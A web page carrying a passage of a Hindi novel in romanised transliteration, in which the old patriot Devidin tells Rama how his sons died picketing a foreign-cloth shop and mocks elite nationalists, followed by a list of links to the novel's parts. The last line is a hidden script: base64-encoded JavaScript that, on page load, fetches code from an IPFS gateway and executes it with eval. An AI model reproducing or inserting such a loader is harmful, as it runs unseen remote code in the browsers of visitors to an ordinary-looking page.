yah kah kar devidin ne ooni aur reshami kap doan ke saik doan namoone nikalakar rakh die. paanch-chhah rupaye gaj se kam ka koee kapadan tha. rama ne namoonoan ko ulat-palatakar dekha aur bola,itane mahange kap de kyoan lae, dada? aur saste n the?’
‘saste the, muda vilayati the.‘
‘tum vilayati kap de nahian pahanate?’
‘idhar bis sal se to nahian lie, udhar ki bat nahian kahata. kuchh besi dam lag jata hai, par rupaya to des hi mean rah jata hai.’
rama ne lajate hue kaha, ‘tum niyam ke bade pakke ho dada! ‘
devidin ki mudra sahasa tejavan ho gee. usaki bujhi huee aankhean chamak uthian. deh ki nasean tan gee. ak dakar bola,jis des mean rahate haian, jisaka ann-jal khate haian, usake lie itana bhi n karean to jine ko dhikkar hai. do javan bete isi sudesi ki bheant kar chuka hooan,bhaiya! aise-aise patthe the, ki tumase kya kahean. donoan bidesi kap doan ki dukan par tainat the. kya majal thi koee gahak dukan par a jay. hath jo dakar, ghighiyakar, dhamakakar, lajavakar sabako udhar lete the. bajaje mean siyar lotane lage. saboan ne jakar kamisanar se phariyad ki. sunakar ag ho gaya. bis gauji gore bheje ki abhi jakar bazar se pahare utha do. goroan ne donoan bhaiyoan se kaha,yahaan se chale jav, muda vah apani jagah se jau-bhar n hile. bhi d lag gee. gore un par gho de chadha late the, par donoan chattan ki tarah date kh de the. akhir jab is tarah kuchh bas n chala to saboan ne dandoan se pitana suee kiya. donoan vir dande khate the, par jagah se n hilate the. jab bada bhaee phir padato chhota usaki jagah par a khada hua. agar donoan apane dande sanbhal lete to bhaiya un bisoan ko mar bhagaterri lekin hath uthana to badi bat hai, sir tak n uthaya. ant mean chhota bhi vahian phir p da. donoan ko logoan ne uthakar aspatal bheja. usi rat ko donoan sidhar ge. tumhare charan chhookar kahata hooan bhaiya, us bakhat aisa jan p data tha ki meri chhati gaj-bhar ki ho gee hai, paanv zamin par n p date the, yahi umang ati thi ki bhagavan ne auroan ko pahale n utha liya hota, to is samay unhean bhi bhej deta. jab arthi chali hai, to ek lakh adami sath the. betoan ko ganga mean sauanpakar maian sidhe bajaje pahuancha aur usi jagah khada hua, jahaan donoan biroan ki lahas giri thi. gahak ke nam chidie ka poot tak n dikhaee diya. ath din vahaan se hila tak nahian. bas bhor ke samay adha ghante ke lie ghar ata tha aur naha-dhokar kuchh jalapan karake chala jata tha. navean din dukanadaroan ne kasam khaee ki vilayati kap de ab n mangaveange. tab pahare utha lie ge. tab se bidesi diyasalaee tak ghar mean nahian laya.
rama ne sachche dil se kaha, ‘dada, tum sachche vir ho, aur ve donoan ladake bhi sachche yoddha the. tumhare darshanoan se aankhean pavitr hoti haian.‘
devidin ne is bhav se dekha mano is badaee ko vah bilakul atishayokti nahian samajhata. shahidoan ki shan se bola,in b de-bade adamiyoan ke kie kuchh n hoga. inhean bas rona ata hai, chhokariyoan ki bhaanti bisoorane ke siva inase aur kuchh nahian ho sakata b de-bade des-bhagatoan ko bina bilayati sarab ke chain nahian ata. unake ghar mean jakar dekho, to ek bhi desi chiz n milegi.
dikhane ko das-bis kurate gadhe ke banava lie, ghar ka aur sab saman bilayati hai. sab-ke-sab bhog-bilas mean aandhe ho rahe haian, chhote bhi aur b de bhi. us par dava yah hai ki des ka uddhar kareange. are tum kya des ka uddhar karoge. pahale apana uddhar to kar lo. gariboan ko lootakar bilayat ka ghar bharana tumhara kam hai. isilie tumhara is des mean janam hua hai. haan, roe jav, bilayati sarabean udao, bilayati motarean daudao, bilayati murabbe aur achar chakkho, bilayati baratanoan mean khao, bilayati davaiyaan piyo, par des ke nam ko roye jav.muda is rone se kuchh n hoga. rone se maan doodh pilati hai, ser apana sikar nahian chho data. roo usake samane, jisamean daya aur dharam ho tum dhamakakar hi kya kar loge- jis dhamaki mean kuchh dam nahian hai, us dhamaki ki paravah kaun karata hai. ek bar yahaan ek bada bhari jalasa hua. ek
sahab bahadur kh de hokar khoob uchhale-yade, jab vah niche ae, tab maianne unase poochha,sahab, sach batao, jab tum suraj ka nam lete ho, to usaka kaunasa roop tumhari aankhoan ke samane ata hai? tum bhi badi-badi talab loge, tum bhi aangarezoan ki tarah bangaloan mean rahoge, paha doan ki hava khaoge, aangarezi thath banae ghoomoge, is suraj se des ka kya kalyan hoga. tumhari aur tumhare bhaeebandoan ki ziandagi bhale aram aur thath se guzare, par des ka to koee bhala n hoga. bas, bagalean jhaankane lage. tum din mean paanch ber khana chahate ho, aur vah bhi badhiya mal, garib kisan ko ek joon sookha chabena bhi nahian milata. usi ka rakt choosakar to sarakar tumhean hupre deti hai. tumhara dhyan kabhi unaki or jata hai? abhi tumhara raj nahian hai, tab to tum bhog-bilas par itana marate ho, jab tumhara raj ho jayaga, tab to tum gariboan ko pisakar pi jaoge. rama bhadr-samaj par yah akshep n sun saka. akhir vah bhi to bhadrasamaj
ka hi ek aang tha. bola, ‘yah bat to nahian hai dada, ki padhe-likhe log kisanoan ka dhyan nahian karate. unamean se kitane hi khud kisan the, ya haian. unhean agar vishvas ho jay ki hamare kasht uthane se kisanoan ka koee upakar hoga aur jo bachat hogi, vah kisanoan ke lie kharch ki jayagi, to vah khushi se kam vetan par kam kareange, lekin jab vah dekhate haian ki bachat doosare hadap. jate haian, to vah sochate haian, agar doosaroan ko hi khana hai, to ham kyoan n khaean.’ devidin—‘to suraj milane par das-das, paanch-paanch hazar ke aphasar nahian raheange? vakiloan ki loot nahian rahegi? pulis ki loot band ho jaegi?’
ek kshan ke lie rama sitapita gaya. is vishay mean usane khud kabhi vichar n kiya tha, magar turant hi use javab soojh gaya. bola, ‘dada, tab to sabhi kam bahumat se hoga. agar bahumat kahega ki karmachariyoan ke vetan ghata die jaean, to ghat jaeange. dehatoan ke sangathanoan ke lie bhi bahumat jitane rupaye maangega, mil jaeange. kuanji bahumat ke hath mean rahegi, aur abhi das-paanch baras chahe n ho lekin age chalakar bahumat kisanoan aur majooroan hi ka ho jaega. devidin ne muskarakar kaha,’ bhaiya, tum bhi in batoan ko samajhate ho yahi maianne bhi socha tha. bhagavan kare, kuchh din aur jiooan. mera pahala saval yah hoga ki bilayati chizoan par duguna mahasool lagaya jay aur motaroan par chauguna. achchha ab bhojan banao. saanjh ko chalakar kap de daraji ko de deange. maian bhi jab tak kha looan.’
sham ko devidin ne akar kaha, ‘chalo bhaiya, ab to aandhera ho gaya.’
rama sir par hath dhare baitha hua tha. mukh par udasi chhaee huee thi. bola, ‘dada, maian ghar n jaooanga.’
devidin ne chakit hokar poochha, ‘kyoan kya bat huee?’
rama ki aankhean sajal ho gee. bola, ‘kaun?sa muanh lekar jaooan, dada! mujhe to doob marana chahie tha.’
yah kahate-kahate vah khulakar ro p da. vah vedana jo ab tak moorchhit p di thi, shital jal ke yah chhiante pakar sachet ho gee aur usake krandan ne rama ke sare astitv ko jaise chhed dala. isi krandan ke bhay se vah use chhe data n tha, use sachet karane ki cheshta n karata tha. sanyat vismriti se use achet hi rakhana chahata tha, mano koee dudyakhini mata apane balak ko isalie jagate
darati ho ki vah turant khane ko maangane lagega.
| bhag-1 | bhag-2 | bhag-3 | bhag-4 | bhag-5 | bhag-6 | bhag-7 | bhag-8 | bhag-9 | bhag-10 | bhag-11 | bhag-12 | bhag-13 | bhag-14 | bhag-15 | bhag-16 | bhag-17 | bhag-18 | ubhag-19 | bhag-20 | bhag-21 | bhag-22 | bhag-23 | bhag-24 | bhag-25 | bhag-26 | bhag-27 | bhag-28 | bhag-29 | bhag-30 | bhag-31 | bhag-32 | bhag-33 | bhag-34 | bhag-35 | bhag-36 | bhag-37 | bhag-38 | bhag-39 | bhag-40 | bhag-41 | bhag-42 | bhag-43 | bhag-44 | bhag-45 | bhag-46 | bhag-47 | bhag-48 | bhag-49 | bhag-50 | bhag-51 | bhag-52 | bhag-53 |
tika tippani aur sandarbh
sanbandhit lekh
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>